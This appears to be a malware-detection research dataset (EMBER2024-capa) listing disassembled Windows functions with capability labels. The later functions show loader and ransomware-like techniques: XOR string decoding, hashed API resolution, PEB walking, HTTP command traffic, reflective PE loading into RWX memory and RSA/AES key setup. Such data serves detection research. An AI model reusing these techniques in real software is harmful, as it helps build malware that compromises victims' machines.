joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ef04
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x439040]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x41ef4f
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0041f09f
test al, al
jne 0x41ef49
sub edx, 2
cmp edx, edi
jne 0x41ef2f
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x41ef71
lea eax, [edi + 2]
cmp edx, eax
je 0x41ef71
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0041ee50
add esp, 0x10
jmp 0x41f06b
push esi
lea ecx, [ebp - 0x255]
call fcn.0041f09f
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41efb4
push dword [ebp - 0x25c]
jmp 0x41ef61
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x41eff1
cmp word [ebp - 0x226], 0
je 0x41f012
cmp word [ebp - 0x226], ax
jne 0x41eff1
cmp word [ebp - 0x224], 0
je 0x41f012
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0041ee50
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x41f05e
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x41efcb
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x41f046
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x41f06b
push 0x41ec80
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00424420
add esp, 0x10
jmp 0x41f03b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c0a3
leave
ret
Function at 0x41f977
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41fa14
push ebx
push esi
call fcn.0041f940
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041ddde
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41f9c1
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41fa13
push edi
push eax
call fcn.0041b1d1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41f9e1
call fcn.004189bd
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41fa12
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041ddde
add esp, 0x20
test eax, eax
jne 0x41fa00
push edi
call fcn.004189bd
jmp 0x41fa08
push ebx
call fcn.004189bd
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41fa17
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x41fa28
pop esi
ret
push ebx
push edi
push esi
call fcn.0041f940
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0041b1d1
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41fa50
push ebx
push esi
push edi
call fcn.0040cea0
add esp, 0xc
push 0
call fcn.004189bd
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x4257a5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00425721
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x425914
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x425914
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4258c9
jg 0x425801
test eax, eax
je 0x4258bf
push 1
push 0x1000
call fcn.0041c3b8
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x425824
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4258b6
push 0x8000
push ebx
call fcn.00417edb
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x42584d
jg 0x425848
cmp ecx, 0x1000
jb 0x42584d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0041ac36
add esp, 0x10
cmp eax, 0xffffffff
je 0x425892
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x425848
jl 0x425879
test ecx, ecx
jne 0x42583a
push dword [ebp - 0xc]
push ebx
call fcn.00417edb
push esi
call fcn.004189bd
add esp, 0xc
xor ebx, ebx
jmp 0x425922
cmp byte [edi + 0x24], 0
je 0x4258a9
cmp dword [edi + 0x20], 5
jne 0x4258a9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4258b4
mov ebx, dword [edi + 0x18]
jmp 0x4258b6
xor ebx, ebx
push esi
call fcn.004189bd
pop ecx
jmp 0x425922
test ecx, ecx
jg 0x42588b
jl 0x4258c9
test eax, eax
jae 0x42588b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041a0fa
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4258e9
cmp byte [edi + 0x1c], 0
je 0x42588b
jmp 0x42591a
push ebx
call fcn.00416c02
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42588b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x425922
cmp byte [edi + 0x1c], 0
je 0x42591f
mov ebx, dword [edi + 0x18]
jmp 0x425922
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0041a0fa
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4275a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4275cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4275cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0xc15b0
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x360]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x360]
call fcn.000c1962
mov esi, eax
mov edi, 0x4cf83275
lea eax, [ebp - 4]
mov ecx, 0xc1004
push eax
push edi
push 4
pop edx
call fcn.000c1749
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x158]
push 0x40
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov ecx, section..text
push eax
push edi
push 4
pop edx
call fcn.000c1749
push esi
push dword [ebp - 4]
lea eax, [ebp - 0xd8]
push 0x40
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
add esp, 0x30
call fcn.000c1846
lea eax, [ebp - 0x158]
push eax
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov esi, eax
test esi, esi
je 0xc1674
lea eax, [ebp - 0xd8]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
test edi, edi
jne 0xc167d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0xc16a9
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.000c8fea
xor eax, eax
inc eax
jmp 0xc1676
push 0x44
pop ebx
push ebx
lea eax, [ebp - 0x58]
push 0
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2c], 0x80
push eax
lea eax, [ebp - 0x58]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0xc1674
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0xc16a4
Function at 0xc1749
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
lea eax, [edi*2 + 8]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0xc17d1
shr edi, 2
xor eax, eax
lea ecx, [ebx + edi*4]
mov edi, esi
mov edx, ecx
sub edx, ebx
add edx, 3
shr edx, 2
cmp ebx, ecx
cmova edx, eax
test edx, edx
je 0xc17cc
xor esi, esi
mov ecx, dword [ebx]
lea ebx, [ebx + 4]
xor ecx, dword [ebp + 8]
movzx eax, cl
mov word [edi], ax
mov eax, ecx
shr eax, 8
lea edi, [edi + 8]
movzx eax, al
mov word [edi - 6], ax
shr ecx, 0x10
movzx eax, cl
shr ecx, 8
inc esi
mov word [edi - 4], ax
movzx eax, cl
mov word [edi - 2], ax
cmp esi, edx
jb 0xc1793
mov esi, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xc17df
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
lea eax, [ebx + 4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
test edi, edi
je 0xc183a
shr ebx, 2
xor eax, eax
lea ecx, [esi + ebx*4]
xor ebx, ebx
mov edx, ecx
sub edx, esi
add edx, 3
shr edx, 2
cmp esi, ecx
cmova edx, eax
test edx, edx
je 0xc1835
mov ecx, edi
sub ecx, esi
mov eax, dword [esi]
xor eax, 0x73608a49
inc ebx
mov dword [ecx + esi], eax
lea esi, [esi + 4]
cmp ebx, edx
jb 0xc1823
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
xor eax, eax
test edi, edi
pop edi
pop esi
setne al
pop ebx
pop ebp
ret

Function at 0xc187a
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
push edi
push 0x208
xor edi, edi
push edi
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
cmp word [0xcb7c0], di
je 0xc1901
mov esi, edi
movzx eax, word [esi + 0xcb7c0]
lea esi, [esi + 2]
mov word [ebp + esi - 0x20a], ax
cmp eax, 0x5c
jne 0xc18f8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0xc18f4
push edi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0xc18f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0xc18f8
xor eax, eax
jmp 0xc1904
test al, 0x10
je 0xc18f0
cmp word [esi + 0xcb7c0], di
jne 0xc18a8
xor eax, eax
inc eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xc190a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 4]
mov ecx, 0xc1010
push eax
push 0x6a03b833
push 0x14
pop edx
call fcn.000c1749
push dword [ebp - 4]
lea eax, [ebp - 0x20c]
push 0xcb7c0
push dword [ebp - 4]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
mov ecx, dword [ebp - 4]
add esp, 0x1c
call fcn.000c1846
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esp, ebp
pop ebp
ret
Function at 0xc1a43
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], edx
push esi
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [ebp - 0x18], eax
mov esi, dword [eax + 0x78]
add esi, ebx
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
add ecx, ebx
mov eax, dword [esi + 0x24]
add eax, ebx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [esi + 0x18], eax
jbe 0xc1afd
push edi
mov edx, dword [ecx + eax*4]
xor ecx, ecx
add edx, ebx
mov al, byte [edx]
test al, al
mov eax, dword [ebp - 8]
je 0xc1aa7
mov al, byte [edx]
imul ecx, ecx, 0x1003f
movsx eax, al
add ecx, eax
inc edx
mov al, byte [edx]
test al, al
jne 0xc1a92
mov eax, dword [ebp - 8]
xor ecx, dword [ebp + 0xc]
xor edi, edi
cmp dword [ebp + 8], edi
jbe 0xc1af0
mov edx, dword [ebp - 0xc]
cmp dword [edx + edi*4], ecx
je 0xc1ac1
inc edi
cmp edi, dword [ebp + 8]
jb 0xc1ab4
jmp 0xc1af0
mov ecx, dword [ebp - 0x10]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, esi
jb 0xc1ae7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x7c]
add eax, esi
cmp ecx, eax
jae 0xc1ae7
call fcn.000c1993
mov ecx, eax
mov eax, dword [ebp + 0x10]
mov dword [eax + edi*4], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [esi + 0x18]
jb 0xc1a80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xc1b03
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov edi, dword [eax + 0xc]
mov ebx, ecx
add edi, 0xc
mov esi, dword [edi]
jmp 0xc1b26
mov ecx, dword [esi + 0x30]
call fcn.000c1962
cmp eax, ebx
je 0xc1b30
mov esi, dword [esi]
cmp esi, edi
jne 0xc1b18
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x18]
jmp 0xc1b2c
Function at 0xc1b35
Capabilities:
Connect to http server
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
push edi
push 0x14
xor edi, edi
mov dword [ebp - 4], 0x200
mov esi, ecx
mov ebx, edx
push edi
push esi
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x204]
push eax
push edi
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
test eax, eax
js 0xc1b82
push ecx
push ecx
lea edx, [ebp - 0x204]
call fcn.000c24fc
pop ecx
pop ecx
mov edi, eax
xor eax, eax
push eax
push eax
push eax
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenW]
push edi
xor edi, edi
mov dword [esi], eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi], edi
je 0xc1bd3
push edi
push edi
push 3
push edi
push edi
push dword [ebp + 8]
push ebx
push dword [esi]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 4], eax
test eax, eax
je 0xc1bcb
xor eax, eax
mov dword [esi + 0xc], 3
inc eax
jmp 0xc1bd5
push dword [esi]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xc1bdc
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, 0x844cc300
xor ecx, ecx
mov eax, 0x84ccc300
push edi
mov edi, ecx
cmp dword [esi + 0xc], 4
mov dword [ebp - 4], edi
cmove ebx, eax
cmp dword [ebp + 0x10], ecx
je 0xc1c20
lea eax, [ebp - 4]
mov ecx, 0xc1008
push eax
push 0x6d5c7765
push 4
pop edx
call fcn.000c1749
mov edi, dword [ebp - 4]
pop ecx
pop ecx
xor ecx, ecx
push ecx
push ebx
push ecx
push ecx
push ecx
push ecx
push edi
push dword [esi + 4]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
cmp dword [ebp + 0x10], 0
mov dword [esi + 8], eax
je 0xc1c40
mov ecx, edi
call fcn.000c1846
mov edi, dword [esi + 8]
test edi, edi
je 0xc1cc2
push 4
pop ebx
cmp dword [esi + 0xc], ebx
jne 0xc1c7e
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 4]
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
test eax, eax
je 0xc1c7e
push dword [ebp - 8]
or dword [ebp - 4], 0x3100
lea eax, [ebp - 4]
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push 0
push dword [esi + 8]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0xc1cb9
push 0
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], ebx
push eax
lea eax, [esi + 0x10]
push eax
push 0x20000013
push dword [esi + 8]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0xc1cb9
xor eax, eax
inc eax
jmp 0xc1cc4
push dword [esi + 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc1ccb
Capabilities:
Get http content length
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x10], edx
push esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0xc]
mov ebx, ecx
push eax
push 0x20000005
push dword [ebx + 8]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0xc1d87
push edi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
test edi, edi
je 0xc1d86
and dword [ebp - 4], esi
lea eax, [ebp - 8]
and dword [ebp - 8], esi
push eax
push dword [ebp - 0xc]
push edi
push dword [ebx + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
test esi, esi
je 0xc1d65
cmp dword [ebp - 8], 0
je 0xc1d61
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
add ecx, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
sub eax, ecx
mov dword [ebp - 4], ecx
push eax
lea eax, [edi + ecx]
push eax
push dword [ebx + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
test esi, esi
jne 0xc1d35
test esi, esi
jne 0xc1d79
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0xc1d86
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
mov eax, dword [ebp - 4]
mov dword [ecx], eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc1d8f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
mov dword [ebp - 8], ebx
cmp edx, 0x40
jbe 0xc1dbe
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0xc1dbe
mov esi, dword [ebx + 0x3c]
add esi, ebx
mov dword [ebp - 4], esi
cmp dword [esi], 0x4550
je 0xc1dc3
xor esi, esi
mov dword [ebp - 4], esi
test esi, esi
je 0xc1f3b
mov eax, 0x10b
cmp word [esi + 0x18], ax
jne 0xc1f3b
push 0x40
mov eax, 0x3000
push eax
push dword [esi + 0x50]
mov dword [ebp - 0x10], eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0xc1f3b
push dword [esi + 0x54]
push ebx
push edi
call dword [sym.imp.ntdll.dll_memcpy]
movzx eax, word [esi + 6]
lea ebx, [esi + 0x18]
movzx ecx, word [esi + 0x14]
add esp, 0xc
imul eax, eax, 0x28
add ebx, ecx
add eax, ebx
mov dword [ebp - 0xc], eax
cmp ebx, eax
jae 0xc1e4f
mov esi, dword [ebp - 8]
mov eax, dword [ebx + 0x10]
cmp dword [ebx + 8], eax
cmovb eax, dword [ebx + 8]
push eax
mov eax, dword [ebx + 0x14]
add eax, esi
push eax
mov eax, dword [ebx + 0xc]
add eax, edi
push eax
call dword [sym.imp.ntdll.dll_memcpy]
add ebx, 0x28
add esp, 0xc
cmp ebx, dword [ebp - 0xc]
jb 0xc1e24
mov esi, dword [ebp - 4]
mov ecx, dword [esi + 0xa0]
mov eax, edi
sub eax, dword [esi + 0x34]
add ecx, edi
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xa4]
add eax, ecx
mov dword [ebp - 0x18], eax
cmp ecx, eax
jae 0xc1eb6
lea eax, [ecx + 4]
mov dword [ebp - 0x14], eax
lea ebx, [ecx + 8]
mov eax, dword [eax]
add eax, ecx
mov dword [ebp - 0xc], eax
cmp ebx, eax
jae 0xc1ea9
mov esi, eax
movzx eax, word [ebx]
mov edx, eax
and eax, 0xf000
and edx, 0xfff
add edx, dword [ecx]
cmp ax, word [ebp - 0x10]
jne 0xc1ea2
mov eax, dword [ebp - 8]
add dword [edx + edi], eax
add ebx, 2
cmp ebx, esi
jb 0xc1e84
mov eax, dword [ebp - 0x14]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x18]
jb 0xc1e6e
mov esi, dword [ebp - 4]
mov eax, dword [esi + 0x80]
test eax, eax
je 0xc1f3b
cmp dword [esi + 0x84], 0
je 0xc1f3b
lea esi, [eax + edi]
jmp 0xc1f22
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov dword [ebp - 0x18], edx
test edx, edx
je 0xc1f2b
mov ebx, dword [esi]
mov ecx, dword [esi + 0x10]
add ebx, edi
add ecx, edi
mov dword [ebp - 4], ecx
jmp 0xc1f19
jns 0xc1ef5
movzx eax, ax
jmp 0xc1efa
add eax, 2
add eax, edi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
test ecx, ecx
je 0xc1f2b
mov eax, dword [ebp - 4]
add ebx, 4
mov edx, dword [ebp - 0x18]
mov dword [eax], ecx
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebx]
test eax, eax
jne 0xc1eee
add esi, 0x14
mov eax, dword [esi + 0xc]
test eax, eax
jne 0xc1ece
jmp 0xc1f3b
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc20a9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x48]
push esi
push eax
mov ebx, ecx
call dword [sym.imp.ntdll.dll_memset]
mov dword [ebp - 0x48], edi
add esp, 0xc
mov edi, dword [ebp + 8]
test edi, edi
je 0xc2131
lea eax, [ebp + 8]
mov ecx, 0xc1030
push eax
push 0x657ffc35
push 0x10
pop edx
call fcn.000c1749
mov eax, dword [ebp + 8]
pop ecx
pop ecx
push esi
mov dword [ebp - 0x40], eax
lea eax, [ebp - 4]
push edi
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0xc2127
push dword [ebp + 0xc]
lea eax, [ebp - 0x48]
push eax
push esi
push dword [ebp - 4]
push 0x400
push esi
push esi
push esi
push ebx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov ecx, dword [ebp + 8]
call fcn.000c1846
jmp 0xc2148
push dword [ebp + 0xc]
lea eax, [ebp - 0x48]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xc21e4
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Hash data using sha1
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0x10
xor edi, edi
mov esi, 0xcb284
push edi
push esi
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
push 0xf0000040
push 0x18
push edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0xc22cc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push edi
push 0x8000
push dword [0xcb030]
push dword [0xcb02c]
push 0x13
push 0x10001
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
je 0xc22bf
push 0xcb288
push edi
push edi
push dword [ebp - 4]
push dword [ebp - 8]
push dword [0xcb284]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0xc22bf
push 0xcb28c
push 1
push 0x660e
push dword [0xcb284]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0xc22b3
push 0xcb290
push edi
push edi
push 0x8004
push dword [0xcb284]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0xc22a7
xor eax, eax
inc eax
jmp 0xc22ce
push dword [0xcb28c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [0xcb288]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push edi
push dword [0xcb284]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret